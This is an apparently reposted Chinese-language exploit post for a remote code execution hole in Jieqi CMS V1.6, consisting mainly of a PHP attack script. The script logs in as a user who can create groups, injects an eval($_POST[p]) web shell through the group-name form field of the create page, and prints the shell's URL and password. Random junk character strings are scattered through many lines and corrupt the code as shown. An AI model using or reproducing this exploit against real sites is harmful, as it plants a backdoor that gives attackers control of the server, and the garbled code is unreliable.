Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


7 _( n- g) r2 U; L该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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<?php

print_r('
( J' ^$ N: @& Q+ F" \. |+---------------------------------------------------------------------------+
, T* S/ v# T* O1 G. }" I6 vJieqi CMS V1.6 PHP Code Injection Exploit
5 y7 L* I* I% V; \6 K+ Iby flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
1 l. n; P* Q0 l' Z; l* y4 W+---------------------------------------------------------------------------+
, N" k) {% R, |" Z2 S'); /**
4 ?  \# _, y+ B- x- ^9 v$ H4 D4 [+ ` * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
, }7 i4 c! X1 B+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
  X0 f" {. V% T; ~host:      target server (ip/hostname)
path:      path to jieqicms
8 L7 N8 n# _5 i  juasename:  a username who can create group
  [& H2 `! u7 }/ S6 k0 C. q" CExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
4 `; Q: s- u/ B# r7 R& t" ^Content-Disposition: form-data; name="gname"
5 j( ~# S! g  v; {( I: y
: S* ^  a& e8 D* v; B$ w; @, b'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
: J6 L! ]4 M! o, I-----------------------------23281168279961
) H3 J( [% {+ Y1 HContent-Disposition: form-data; name="gcatid"
9 }% g* @7 |* d3 y9 ?. n3 K% c
1
-----------------------------23281168279961
& q; ^, @, H7 K2 ?$ O4 W7 h! ?Content-Disposition: form-data; name="gaudit"

1
/ G: g8 _7 D. K! H* f$ e0 o-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
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-----------------------------23281168279961--
" v) u- O  G- O1 H( ['; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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- A/ u- V9 A* ~3 k. ?preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;